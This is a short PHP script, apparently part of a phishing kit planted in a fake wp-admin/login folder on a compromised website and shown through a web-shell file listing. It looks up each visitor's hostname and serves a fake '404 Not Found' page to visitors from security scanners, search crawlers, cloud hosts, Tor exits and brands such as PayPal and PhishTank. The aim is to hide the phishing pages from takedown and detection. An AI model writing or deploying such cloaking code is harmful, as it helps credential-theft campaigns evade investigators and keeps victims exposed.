????
| Current Path : /home/mountain/public_html/.well-known/wp-admin/login/ |
| Current File : /home/mountain/public_html/.well-known/wp-admin/login/hostname_check.php |
<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); //Get User Hostname
$blocked_words = array(
"above",
"google",
"softlayer",
"amazonaws",
"cyveillance",
"phishtank",
"dreamhost",
"netpilot",
"calyxinstitute",
"tor-exit",
"netflix",
"Apple",
"googlebot",
"bitly",
"bitlybot",
"paypal",
);
foreach($blocked_words as $word) {
if (substr_count($hostname, $word) > 0) {
header("HTTP/1.0 404 Not Found");
die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
}
}
?>